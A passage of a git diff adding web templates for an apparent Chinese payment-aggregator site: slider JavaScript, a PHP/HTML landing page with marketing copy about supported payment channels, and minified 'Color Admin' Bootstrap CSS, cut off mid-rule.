_=this,sliderWidth=_.parent.width();_.slides.spread=sliderWidth;_.wrapper.width(sliderWidth*_.slides.length);_.slides.width(_.slides.spread);if(!isCssSupported("transition")||!isCssSupported("transform"))_.CSS3support=false;};function isCssSupported(declaration){var supported=false,prefixes='Khtml ms O Moz Webkit'.split(' '),clone=document.createElement('div'),declarationCapital=null;declaration=declaration.toLowerCase();if(clone.style[declaration]!==undefined)supported=true;if(supported===false){declarationCapital=declaration.charAt(0).toUpperCase()+declaration.substr(1);for(var i=0;i + + + + + + + <?php echo $conf['title']?> + + + + + + + + + + +
                                    +
                                    +
                                    +

                                    + /Payment +
                                    + + 让支付接入前所未有的简单 + +

                                    +

                                    + 无需后端开发,一个SDK即可接入一套完整的支付系统,高速集成主流支付接口,以更稳定的接口、更快的速度直达支付。
                                    + 结算费率低至0.05%,单笔交易费率低至3%。 +

                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                      +
                                    • +
                                      + +
                                      +
                                      +

                                      + 快速高效 +

                                      +

                                      + 10分钟超快速响应,1V1专业客 +
                                      + 服服务,7*24小时技术支持。 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 稳定持久 +

                                      +

                                      + 多机房异地容灾系统,服务器可用 +
                                      + 性99.9%,专业运维团队值守。 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 快速高效 +

                                      +

                                      + 金融级安全防护标准,强有力抵 +
                                      + 御外部入侵,支持高并发交易。 +

                                      +
                                      +
                                    • +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    + 最专业的支付帮手 +

                                    +

                                    + -Payment Assistant- +

                                    +
                                    +
                                    +
                                      +
                                    • +
                                      + +
                                      +
                                      +

                                      + 手机APP支付 +

                                      +

                                      + APP内实现收款 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 手机网页支付 +

                                      +

                                      + 手机浏览器内实现收款 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 公众号支付 +

                                      +

                                      + 微信浏览器内实现收款 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + PC网页支付 +

                                      +

                                      + PC浏览器内实现收款 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 线下扫码支付 +

                                      +

                                      + 扫描二维码实现收款 +

                                      +
                                      +
                                    • +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    + 产品与服务 +

                                    +

                                    + -PRODUCT SERVICE- +

                                    +
                                    +
                                    +
                                      +
                                    • +
                                      + +
                                      +
                                      +

                                      + 财务对账 +

                                      +

                                      + 相近的订单统计 +
                                      + 企业收支一目了然 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 商户系统 +

                                      +

                                      + 添加商户账号 +
                                      + 为交易实现分账功能 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 接口申请 +

                                      +

                                      + 全支付场景覆盖 +
                                      + 主流支付接口支持 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 二维码支付 +

                                      +

                                      + 专业收款工具 +
                                      + 线下商户经营必备 +

                                      +
                                      +
                                    • +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    + 对接多家支付接口 +

                                    +

                                    + -Multiple payments- +

                                    +

                                    + 对接行业内最优质的多家支付接口。全力保障业务流畅。 +
                                    + 让支付接口开发更加简单方便。 +

                                    +
                                    +
                                    +
                                      +
                                    • +
                                      + +
                                      +
                                      +

                                      + 支付宝支付 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 微信支付 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + QQ钱包 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 银联支付 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 京东支付 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 百度钱包 +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + Apple Pay +

                                      +
                                      +
                                    • +
                                    • +
                                      + +
                                      +
                                      +

                                      + 蚂蚁花呗 +

                                      +
                                      +
                                    • +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +

                                    + 定制化支付解决方案 +

                                    +
                                      +
                                    • + + + 支持不同业务场景的交易方式。 +
                                    • +
                                    • + + + 免费在线一对一分析支付场景、梳理企业收款需 +
                                      + 求,提出接入建议、定制支付解决方案。 +
                                    • +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +

                                    + 专业的全流程服务 +

                                    +
                                      +
                                    • + + + 支持个性化定制和私有化部署。 +
                                    • +
                                    • + + + 全程跟进定制化业务需求,可部署企业本地服务器,数据安全可控。 +
                                    • +
                                    • + + + 客户成功团队从接口联调、测试上线到后期系统运维、管理平台 +
                                      + 使用等各方向全面提供7*10小时服务。 +
                                    • +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    + 我们的伙伴 +

                                    +

                                    + -Our partners- +

                                    +
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    + 立即开启支付新时代! +

                                    +

                                    + ,支付技术服务商,让支付简单、专业、快捷! +

                                    +
                                    + +
                                    +
                                    + + + + + + + + + + diff --git a/template/index5/preview.png b/template/index5/preview.png new file mode 100644 index 0000000..d0815b9 Binary files /dev/null and b/template/index5/preview.png differ diff --git a/template/index6/assets/css/style-responsive.min.css b/template/index6/assets/css/style-responsive.min.css new file mode 100644 index 0000000..5e8bba1 --- /dev/null +++ b/template/index6/assets/css/style-responsive.min.css @@ -0,0 +1,6 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.7 +Version: 2.1.0 +Author: Sean Ngu +Website: http://www.seantheme.com/color-admin-v2.1/frontend/one-page-parallax/ +*/@media (min-width:1920px){.content.has-bg .content-bg img{width:100%}}@media (max-width:1200px){.content.has-bg .content-bg img{max-height:100%;max-width:inherit}.content .content-desc{margin-bottom:30px}}@media (min-width:768px) and (max-width:992px){.header.navbar .navbar-nav>li>a{padding:25px 10px}.header.navbar.navbar-small .navbar-nav>li>a{padding-left:10px;padding-right:10px}.home-content h1{font-size:48px}.home-content h3{font-size:24px}.home-content h1,.home-content h2,.home-content h3,.home-content h4{margin:0 0 15px}.home-content p{margin-bottom:30px}}@media (max-width:992px){.about-author .author{padding-left:80px}.about-author .author .image{width:80px}}@media (max-width:767px){.header.navbar .navbar-nav>li>a{padding:10px 15px}.header.navbar-small.navbar-transparent .navbar-collapse,.navbar-transparent .navbar-collapse{background:#000;background:rgba(0,0,0,.9)}.header.navbar-small.navbar-transparent .navbar-collapse .navbar-nav>li>a{color:#8F8E8E}.header.navbar.navbar-small .navbar-nav>li>a{padding:10px 15px}.navbar-nav>li.dropdown:focus>.dropdown-menu,.navbar-nav>li.dropdown:hover>.dropdown-menu{display:none}.navbar-nav>li.dropdown.open:hover>.dropdown-menu,.navbar-nav>li.dropdown.open>.dropdown-menu{display:block;-webkit-animation:none;animation:none}.navbar-nav>li.dropdown>.dropdown-menu{border-top:1px solid #444;border-bottom:1px solid #444}.navbar-default .navbar-nav>li.dropdown>.dropdown-menu,.navbar-default .navbar-nav>li.dropdown>.dropdown-menu>li+li{border-color:#e7e7e7}.home-content h1{font-size:36px}.home-content h3{font-size:18px}.home-content h1,.home-content h2,.home-content h3,.home-content h4{margin:0 0 15px}.home-content p{margin-bottom:30px}.milestone-col+.milestone-col{border:none;border-top:1px solid rgba(255,255,255,.2);margin-top:15px;padding-top:15px!important}.team{margin-bottom:30px}.action-box .btn{margin-top:15px}.pricing-table.col-3>li,.pricing-table.col-4>li{width:100%}.pricing-table .highlight{margin-top:0!important;padding:10px!important}} \ No newline at end of file diff --git a/template/index6/assets/css/style.min.css b/template/index6/assets/css/style.min.css new file mode 100644 index 0000000..eb63495 --- /dev/null +++ b/template/index6/assets/css/style.min.css @@ -0,0 +1,6 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.7 +Version: 2.1.0 +Author: Sean Ngu +Website: http://www.seantheme.com/color-admin-v2.1/frontend/one-page-parallax/ +*/body{background:#fff;font-family:'Open Sans',"Helvetica Neue",Helvetica,Arial,sans-serif;color:#707478;font-size:12px}.ie8 body{font-family:Arial,sans-serif}h1,h2,h3,h4,h5,h6{font-weight:500;color:#242a30;margin-top:0;margin-bottom:15px;line-height:1.25}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-size:60%;font-weight:300;color:#7c7f83}a{-webkit-transition:all .2s linear;-moz-transition:all .2s linear;transition:all .2s linear}a:focus{outline:0}label{color:#242a30}p{font-size:12px;line-height:20px}.contentAnimated{-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.finishAnimated{-webkit-animation:none!important;animation:none!important}body.page-navbar-fixed-top{padding-top:70px}body.page-navbar-fixed-top-sm{padding-top:51px}.header.navbar{border-bottom:none;-webkit-transition:all .2s linear;-moz-transition:all .2s linear;transition:all .2s linear}.header.navbar .navbar-nav>li>a{font-size:16px;line-height:20px;color:#2d353c;font-weight:600;padding:25px 15px}.header.navbar .navbar-nav>li.active>a,.header.navbar .navbar-nav>li>a:focus,.header.navbar .navbar-nav>li>a:hover{background:0 0}.header .navbar-brand{padding:25px 15px}.brand-logo{float:left;border:15px solid;border-color:#4DCACA #31A3A3 #1D8888;margin-right:10px;margin-top:-5px;border-radius:4px}.brand-logo+.brand-text{margin-left:42px;color:#2d353c;font-size:26px;line-height:20px;display:block}.navbar-toggle{margin-top:18px;margin-bottom:18px;-webkit-transition:all .2s linear;-moz-transition:all .2s linear;transition:all .2s linear}.header.navbar.navbar-default{background:#fff}.header.navbar.navbar-transparent{border-bottom:1px solid rgba(255,255,255,.2)}.header.navbar.navbar-inverse .navbar-nav>li>a,.header.navbar.navbar-transparent .navbar-nav>li>a{color:#8F8E8E}.header.navbar.navbar-inverse .brand-text,.header.navbar.navbar-transparent .brand-text{color:#fff}.navbar-inverse .navbar-toggle,.navbar-transparent .navbar-toggle{border-color:#8F8E8E}.navbar-inverse .navbar-toggle .icon-bar,.navbar-transparent .navbar-toggle .icon-bar{background:#8f8e8e}.header.navbar.navbar-small{border-bottom:none;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.2);box-shadow:0 1px 2px rgba(0,0,0,.2)}.header.navbar.navbar-small .navbar-brand,.header.navbar.navbar-small .navbar-nav>li>a{padding:15px}.header.navbar.navbar-transparent.navbar-small{background:#fff}.header.navbar.navbar-transparent.navbar-small .brand-logo+.brand-text,.header.navbar.navbar-transparent.navbar-small .navbar-nav>li>a{color:#2d353c}.navbar-small .navbar-toggle{border-color:#ddd;margin-top:8px;margin-bottom:8px}.navbar-small .navbar-toggle .icon-bar{background:#888}.navbar-nav>li.dropdown:focus>.dropdown-menu,.navbar-nav>li.dropdown:hover>.dropdown-menu{display:block}.navbar-nav .dropdown-menu{background:#333;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;font-size:12px;padding:0;margin-top:0;border:none}.navbar-nav .dropdown-menu>li>a{color:#999;padding:10px 15px}.navbar-nav .dropdown-menu>li.active>a,.navbar-nav .dropdown-menu>li>a:focus,.navbar-nav .dropdown-menu>li>a:hover{background:#222;color:#00acac}.navbar-nav .dropdown-menu>li+li{border-top:1px solid #444}.content{padding:60px 15px 75px}.content .content-title{text-align:center;position:relative;margin-bottom:30px;padding-bottom:15px;margin-top:0}.content .content-title:after{content:'';display:block;position:absolute;width:40px;background:#242a30;height:2px;bottom:0;left:50%;margin-left:-20px}.content .content-desc{text-align:center;margin-bottom:60px;color:#242a30}.content.has-bg{padding-bottom:60px;overflow:hidden;position:relative}.content.has-bg .content-bg{position:absolute;top:0;left:0;bottom:0;right:0}.content.has-bg .content-bg img{max-width:100%}.content.has-bg .content-title:after{background:#fff}.content.has-bg .content-bg:before{content:'';background:url(../img/content-bg-cover.png);position:absolute;left:0;right:0;top:0;bottom:0}.content.has-bg .container{position:relative}.content.has-bg .container .content-title{color:#fff}.content.has-bg .container .content-desc{color:rgba(255,255,255,.6)}.content.has-bg h1,.content.has-bg h2,.content.has-bg h3,.content.has-bg h4,.content.has-bg h5,.content.has-bg h6{color:#fff}.home{padding:0!important;color:#fff}.home-content{z-index:1020;position:absolute;top:50%;left:0;right:0;color:#8F8E8E;margin-top:-120px;padding:0 15px;text-align:center}.home-content h1,.home-content h2,.home-content h3,.home-content h4{color:#fff;margin:0 0 30px;font-weight:300}.home-content h1{font-size:64px;font-weight:600}.home-content h3{font-size:32px}.home-content p{margin-bottom:60px}.home-content a:focus,.home-content a:hover{color:#fff}.home-content .btn+.btn{margin-left:15px}.about-author{position:relative}.about-author .quote{position:relative;padding:30px 60px;border-radius:12px;margin-bottom:15px}.about-author .quote:before{content:'';position:absolute;bottom:-20px;left:95px;border:10px solid transparent;border-top-color:#f0f3f4;border-left-color:#f0f3f4}.about-author .quote h3{margin:0;font-weight:300;color:#707478;font-style:italic;line-height:30px}.about-author .fa.fa-quote-left,.about-author .fa.fa-quote-right{font-size:14px;position:absolute;left:30px;margin-top:-14px;line-height:28px;top:30px;color:#D5D9DA}.about-author .fa.fa-quote-right{left:auto;right:30px;bottom:30px;margin-top:0;margin-bottom:-14px;top:auto}.about-author .author{position:relative;text-align:right;padding-left:100px;margin-bottom:15px}.about-author .author .image{position:absolute;left:-10px;top:-40px;background:#fff;border:5px solid #fff;border-radius:50%;width:100px;overflow:hidden}.about-author .author .image img{max-width:100%}.about-author .author .info{color:#242a30;font-weight:600;font-size:14px}.about-author .author .info small{display:block;color:#999;font-size:12px;font-weight:400}.about-author .author .info a{font-weight:400;font-size:12px;display:block}.skills .skills-name{font-size:12px;color:#242a30;margin-bottom:5px;font-weight:600}.milestone{text-align:center}.milestone-col+.milestone-col{border-left:1px solid rgba(255,255,255,.2)}.milestone .number{font-size:42px;color:#fff;font-weight:300}.milestone .title{color:#8F8E8E}.team{text-align:center;padding:0 30px}.team .image{display:inline-block;border-radius:300px;overflow:hidden}.team .info{margin-top:15px}.team .image img{border-radius:300px; width:128px;}.team .name{margin-bottom:5px}.team .title{font-size:12px;margin-bottom:15px;font-weight:600}.team p{margin-bottom:15px}.team .social a{border-radius:300px;border:1px solid #ccc;padding:5px;width:40px;height:40px;line-height:28px;text-align:center;display:inline-block;color:#ccc}.team .social a+a{margin-left:5px}.quote{text-align:center;font-size:28px;font-weight:300;color:#fff;color:rgba(255,255,255,.9)}.quote .fa-quote-left,.quote .fa-quote-right{color:#fff;font-size:14px;position:relative;top:-14px}.quote small{display:block;font-size:14px;color:rgba(255,255,255,.6);margin-top:20px}.service{margin-bottom:30px}.service .icon{float:left;width:50px;height:50px;background:#242a30;color:#fff;text-align:center;line-height:50px;font-size:18px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.service .title{margin-bottom:5px}.service .icon+.info{margin-left:70px}.service.service-vertical{text-align:center}.service.service-vertical .icon{float:none;margin:0 auto 15px}.service.service-vertical .info{margin:0}.work{position:relative;overflow:hidden;margin-bottom:10px}.work .image img{max-width:100%}.work:focus .desc,.work:hover .desc{margin-top:-62px}.work .desc{padding:12px 15px;position:absolute;right:0;left:0;top:100%;background:rgba(0,0,0,.7);-webkit-transition:all .2s linear;-moz-transition:all .2s linear;transition:all .2s linear}.work .desc .desc-title{color:#fff;font-size:14px;display:block;font-weight:600}.work .desc .desc-text{font-size:12px;color:#ccc;display:block}.action-box h3{margin-bottom:5px;margin-top:3px}.action-box p{margin-bottom:0}.action-box .icon-large{font-size:48px;float:left;margin-right:20px;line-height:50px;width:50px;text-align:center}.action-box .btn{margin-top:-3px}.testimonials{padding-bottom:50px}.testimonials .item{padding-top:15px}.testimonials .carousel-indicators{bottom:0}.testimonials blockquote{border:none;text-align:center;color:#fff;position:relative;font-weight:300;margin-bottom:15px}.testimonials blockquote .fa-quote-left,.testimonials blockquote .fa-quote-right{font-size:28px;position:absolute;margin-left:15px;margin-top:15px;color:#8F8E8E}.testimonials blockquote .fa-quote-left{margin-left:-43px;margin-top:-15px}.testimonials .name{color:#fff;font-size:14px;margin-bottom:15px}.testimonials .name span{margin-left:5px}.testimonials .carousel-indicators li{background:rgba(255,255,255,.4);border:none;-webkit-transition:all .2s linear;-moz-transition:all .2s linear;transition:all .2s linear}.testimonials .carousel-indicators li:focus,.testimonials .carousel-indicators li:hover{background:rgba(255,255,255,.7)}.testimonials .carousel-indicators li.active{background:#fff}.carousel-indicators li,.carousel-indicators li.active{width:12px;height:12px;margin:1px 3px}.pricing-table{list-style-type:none;margin:0 -10px;padding:0;text-align:center}.pricing-table>li{float:left;padding:10px}.pricing-table.col-4>li{width:25%}.pricing-table.col-3>li{width:33.33333%}.pricing-table .pricing-container{overflow:hidden;border-radius:6px;background:#f0f3f4;box-shadow:0 3px #b6c2c9}.pricing-table h3{background:#242a30;margin:0;color:#fff;font-size:14px;padding:15px 30px}.pricing-table .features{list-style-type:none;margin:0;padding:0 30px}.pricing-table .features>li{padding:10px 0}.pricing-table .features>li+li{border-top:1px solid #e2e7eb}.pricing-table .price{width:100%;display:table;background:#2d353c}.pricing-table .price .price-figure{vertical-align:middle;display:table-cell;text-align:center;height:80px}.pricing-table .price .price-number{font-size:28px;color:#00a3a3;display:block}.pricing-table .price .price-tenure{font-size:12px;color:#fff;color:rgba(255,255,255,.7);display:block;text-align:center}.pricing-table .footer{padding:15px 20px}.pricing-table .highlight{padding:0;margin-top:-30px}.pricing-table .highlight .features>li{padding:15px 0}.pricing-table .highlight h3{padding:20px 30px}.pricing-table .highlight .price .price-figure{height:90px}.pricing-table .highlight .price .price-number{color:#fff}.footer{padding:60px 0;background:#242a30;text-align:center;box-shadow:inset 0 100px 80px -80px rgba(0,0,0,.7);-webkit-box-shadow:inset 0 100px 80px -80px rgba(0,0,0,.7)}.footer .footer-brand-logo{display:block;margin:0 auto 10px;width:40px;border:20px solid;border-color:#4DCACA #31A3A3 #1D8888;border-radius:4px}.footer .footer-brand{font-size:24px;color:#fff;font-weight:300;margin-bottom:30px}.footer .social-list{margin:30px 0 0;font-size:20px}.pace-inactive{opacity:0;filter:alpha(opacity=0)}.pace{background:#2d353c;position:fixed;top:0;left:0;right:0;-webkit-transition:opacity 1s;-moz-transition:opacity 1s;-o-transition:opacity 1s;transition:opacity 1s;z-index:1020}.pace-progress{position:fixed;top:0;left:0;right:0;text-align:center;height:2px;background:#00acac;-webkit-transition:width 1s;-moz-transition:width 1s;-o-transition:width 1s;transition:width 1s;z-index:2000}.pace:before{content:'';background:#242a30;position:fixed;top:0;right:0;left:0;height:2px}.pace .pace-activity{display:block;position:fixed;z-index:2000;top:15px;right:15px;width:14px;height:14px;border:2px solid transparent;border-top-color:#00acac;border-left-color:#00acac;border-radius:10px;-webkit-animation:pace-spinner 400ms linear infinite;-moz-animation:pace-spinner 400ms linear infinite;-ms-animation:pace-spinner 400ms linear infinite;-o-animation:pace-spinner 400ms linear infinite;animation:pace-spinner 400ms linear infinite}@-webkit-keyframes pace-spinner{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-moz-keyframes pace-spinner{0%{-moz-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(360deg);transform:rotate(360deg)}}@-o-keyframes pace-spinner{0%{-o-transform:rotate(0deg);transform:rotate(0deg)}100%{-o-transform:rotate(360deg);transform:rotate(360deg)}}@-ms-keyframes pace-spinner{0%{-ms-transform:rotate(0deg);transform:rotate(0deg)}100%{-ms-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes pace-spinner{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.row{margin:0 -10px}.row>[class*=col-]{padding:0 10px}.row.row-space-0{margin:0}.row.row-space-2{margin:0 -1px}.row.row-space-4{margin:0 -2px}.row.row-space-6{margin:0 -3px}.row.row-space-8{margin:0 -4px}.row.row-space-10{margin:0 -5px}.row.row-space-12{margin:0 -6px}.row.row-space-14{margin:0 -7px}.row.row-space-16{margin:0 -8px}.row.row-space-18{margin:0 -10px}.row.row-space-22{margin:0 -11px}.row.row-space-24{margin:0 -12px}.row.row-space-26{margin:0 -13px}.row.row-space-28{margin:0 -14px}.row.row-space-30{margin:0 -15px}.row.row-space-0>[class*=col-]{padding:0}.row.row-space-2>[class*=col-]{padding:0 1px}.row.row-space-4>[class*=col-]{padding:0 2px}.row.row-space-6>[class*=col-]{padding:0 3px}.row.row-space-8>[class*=col-]{padding:0 4px}.row.row-space-10>[class*=col-]{padding:0 5px}.row.row-space-12>[class*=col-]{padding:0 6px}.row.row-space-14>[class*=col-]{padding:0 7px}.row.row-space-16>[class*=col-]{padding:0 8px}.row.row-space-18>[class*=col-]{padding:0 9px}.row.row-space-20>[class*=col-]{padding:0 10px}.row.row-space-22>[class*=col-]{padding:0 11px}.row.row-space-24>[class*=col-]{padding:0 12px}.row.row-space-26>[class*=col-]{padding:0 13px}.row.row-space-28>[class*=col-]{padding:0 14px}.row.row-space-30>[class*=col-]{padding:0 15px}.semi-bold{font-weight:600}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.overflow-x-hidden{overflow-x:hidden!important}.overflow-x-visible{overflow-x:visible!important}.overflow-x-scroll{overflow-x:scroll!important}.overflow-y-hidden{overflow-y:hidden!important}.overflow-y-visible{overflow-y:visible!important}.overflow-y-scroll{overflow-y:scroll!important}.m-auto{margin:0 auto!important}.m-0{margin:0!important}.m-1{margin:1px!important}.m-2{margin:2px!important}.m-3{margin:3px!important}.m-4{margin:4px!important}.m-5{margin:5px!important}.m-10{margin:10px!important}.m-15{margin:15px!important}.m-20{margin:20px!important}.m-25{margin:25px!important}.m-30{margin:30px!important}.m-35{margin:35px!important}.m-40{margin:40px!important}.m-t-0{margin-top:0!important}.m-t-1{margin-top:1px!important}.m-t-2{margin-top:2px!important}.m-t-3{margin-top:3px!important}.m-t-4{margin-top:4px!important}.m-t-5{margin-top:5px!important}.m-t-10{margin-top:10px!important}.m-t-15{margin-top:15px!important}.m-t-20{margin-top:20px!important}.m-t-25{margin-top:25px!important}.m-t-30{margin-top:30px!important}.m-t-35{margin-top:35px!important}.m-t-40{margin-top:40px!important}.m-r-0{margin-right:0!important}.m-r-1{margin-right:1px!important}.m-r-2{margin-right:2px!important}.m-r-3{margin-right:3px!important}.m-r-4{margin-right:4px!important}.m-r-5{margin-right:5px!important}.m-r-10{margin-right:10px!important}.m-r-15{margin-right:15px!important}.m-r-20{margin-right:20px!important}.m-r-25{margin-right:25px!important}.m-r-30{margin-right:30px!important}.m-r-35{margin-right:35px!important}.m-r-40{margin-right:40px!important}.m-b-0{margin-bottom:0!important}.m-b-1{margin-bottom:1px!important}.m-b-2{margin-bottom:2px!important}.m-b-3{margin-bottom:3px!important}.m-b-4{margin-bottom:4px!important}.m-b-5{margin-bottom:5px!important}.m-b-10{margin-bottom:10px!important}.m-b-15{margin-bottom:15px!important}.m-b-20{margin-bottom:20px!important}.m-b-25{margin-bottom:25px!important}.m-b-30{margin-bottom:30px!important}.m-b-35{margin-bottom:35px!important}.m-b-40{margin-bottom:40px!important}.m-l-0{margin-left:0!important}.m-l-1{margin-left:1px!important}.m-l-2{margin-left:2px!important}.m-l-3{margin-left:3px!important}.m-l-4{margin-left:4px!important}.m-l-5{margin-left:5px!important}.m-l-10{margin-left:10px!important}.m-l-15{margin-left:15px!important}.m-l-20{margin-left:20px!important}.m-l-25{margin-left:25px!important}.m-l-30{margin-left:30px!important}.m-l-35{margin-left:35px!important}.m-l-40{margin-left:40px!important}.p-0{padding:0!important}.p-1{padding:1px!important}.p-2{padding:2px!important}.p-3{padding:3px!important}.p-4{padding:4px!important}.p-5{padding:5px!important}.p-10{padding:10px!important}.p-15,.wrapper{padding:15px!important}.p-20{padding:20px!important}.p-25{padding:25px!important}.p-30{padding:30px!important}.p-35{padding:35px!important}.p-40{padding:40px!important}.p-t-0{padding-top:0!important}.p-t-1{padding-top:1px!important}.p-t-2{padding-top:2px!important}.p-t-3{padding-top:3px!important}.p-t-4{padding-top:4px!important}.p-t-5{padding-top:5px!important}.p-t-10{padding-top:10px!important}.p-t-15{padding-top:15px!important}.p-t-20{padding-top:20px!important}.p-t-25{padding-top:25px!important}.p-t-30{padding-top:30px!important}.p-t-35{padding-top:35px!important}.p-t-40{padding-top:40px!important}.p-r-0{padding-right:0!important}.p-r-1{padding-right:1px!important}.p-r-2{padding-right:2px!important}.p-r-3{padding-right:3px!important}.p-r-4{padding-right:4px!important}.p-r-5{padding-right:5px!important}.p-r-10{padding-right:10px!important}.p-r-15{padding-right:15px!important}.p-r-20{padding-right:20px!important}.p-r-25{padding-right:25px!important}.p-r-30{padding-right:30px!important}.p-r-35{padding-right:35px!important}.p-r-40{padding-right:40px!important}.p-b-0{padding-bottom:0!important}.p-b-1{padding-bottom:1px!important}.p-b-2{padding-bottom:2px!important}.p-b-3{padding-bottom:3px!important}.p-b-4{padding-bottom:4px!important}.p-b-5{padding-bottom:5px!important}.p-b-10{padding-bottom:10px!important}.p-b-15{padding-bottom:15px!important}.p-b-20{padding-bottom:20px!important}.p-b-25{padding-bottom:25px!important}.p-b-30{padding-bottom:30px!important}.p-b-35{padding-bottom:35px!important}.p-b-40{padding-bottom:40px!important}.p-l-0{padding-left:0!important}.p-l-1{padding-left:1px!important}.p-l-2{padding-left:2px!important}.p-l-3{padding-left:3px!important}.p-l-4{padding-left:4px!important}.p-l-5{padding-left:5px!important}.p-l-10{padding-left:10px!important}.p-l-15{padding-left:15px!important}.p-l-20{padding-left:20px!important}.p-l-25{padding-left:25px!important}.p-l-30{padding-left:30px!important}.p-l-35{padding-left:35px!important}.p-l-40{padding-left:40px!important}.f-s-8{font-size:8px!important}.f-s-9{font-size:9px!important}.f-s-10{font-size:10px!important}.f-s-11{font-size:11px!important}.f-s-12{font-size:12px!important}.f-s-13{font-size:13px!important}.f-s-14{font-size:14px!important}.f-s-15{font-size:15px!important}.f-s-16{font-size:16px!important}.f-s-17{font-size:17px!important}.f-s-18{font-size:18px!important}.f-s-19{font-size:19px!important}.f-s-20{font-size:20px!important}.text-center{text-align:center!important}.text-left{text-align:left!important}.text-right{text-align:right!important}.pull-left{float:left!important}.pull-right{float:right!important}.pull-none{float:none!important}.f-w-100{font-weight:100!important}.f-w-200{font-weight:200!important}.f-w-300{font-weight:300!important}.f-w-400{font-weight:400!important}.f-w-500{font-weight:500!important}.f-w-600{font-weight:600!important}.f-w-700{font-weight:700!important}.table-td-valign-middle td,.table-th-valign-middle th,.table-valign-middle td,.table-valign-middle th{vertical-align:middle!important}.table-td-valign-top td,.table-th-valign-top th,.table-valign-top td,.table-valign-top th{vertical-align:top!important}.table-td-valign-bottom td,.table-th-valign-bottom th,.table-valign-bottom td,.table-valign-bottom th{vertical-align:bottom!important}.vertical-box{display:table;table-layout:fixed;border-spacing:0;height:100%;width:100%}.vertical-box-column{display:table-cell;vertical-align:top;height:100%}.vertical-box-row{display:table-row;height:100%}.vertical-box-row>.vertical-box-cell{position:relative;height:100%;width:100%;float:none}.vertical-box-row>.vertical-box-cell>.vertical-box-inner-cell{position:absolute;top:0;bottom:0;left:0;right:0;overflow:hidden}.no-rounded-corner{-webkit-border-radius:0!important;-moz-border-radius:0!important;border-radius:0!important}.rounded-corner{-webkit-border-radius:50%!important;-moz-border-radius:50%!important;border-radius:50%!important}.no-border{border:0!important}.border-top-1{border-top:1px solid #eee!important}.border-right-1{border-right:1px solid #eee!important}.border-bottom-1{border-bottom:1px solid #eee!important}.border-left-1{border-left:1px solid #eee!important}.no-box-shadow{-webkit-box-shadow:none!important;box-shadow:none!important}.text-inverse{color:#2d353c!important}a.text-inverse:focus,a.text-inverse:hover{color:#575d63!important}.text-success{color:#00acac!important}a.text-success:focus,a.text-success:hover{color:#33bdbd!important}.text-info{color:#49b6d6!important}a.text-info:focus,a.text-info:hover{color:#6dc5de!important}.text-blue{color:#348fe2!important}a.text-blue:focus,a.text-blue:hover{color:#5da5e8!important}.text-warning{color:#f59c1a!important}a.text-warning:focus,a.text-warning:hover{color:#f7b048!important}.text-danger{color:#ff5b57!important}a.text-danger:focus,a.text-danger:hover{color:#ff7c79!important}.text-white{color:#fff!important}a.text-white:focus,a.text-white:hover{color:#f0f3f4!important}.bg-white{background:#fff!important}.bg-silver-lighter{background:#f4f6f7!important}.bg-silver{background:#f0f3f4!important}.bg-silver-darker{background:#b4b6b7!important}.bg-black{background:#2d353c!important}.bg-black-darker{background:#242a30!important}.bg-black-lighter{background:#575d63!important}.bg-grey{background:#b6c2c9!important}.bg-grey-darker{background:#929ba1!important}.bg-grey-lighter{background:#c5ced4!important}.bg-red{background:#ff5b57!important}.bg-red-darker{background:#cc4946!important}.bg-red-lighter{background:#ff7c79!important}.bg-orange{background:#f59c1a!important}.bg-orange-darker{background:#c47d15!important}.bg-orange-lighter{background:#f7b048!important}.bg-yellow{background:#e3fa3e!important}.bg-yellow-darker{background:#b6c832!important}.bg-yellow-lighter{background:#e9fb65!important}.bg-green{background:#00acac!important}.bg-green-darker{background:#008a8a!important}.bg-green-lighter{background:#33bdbd!important}.bg-blue{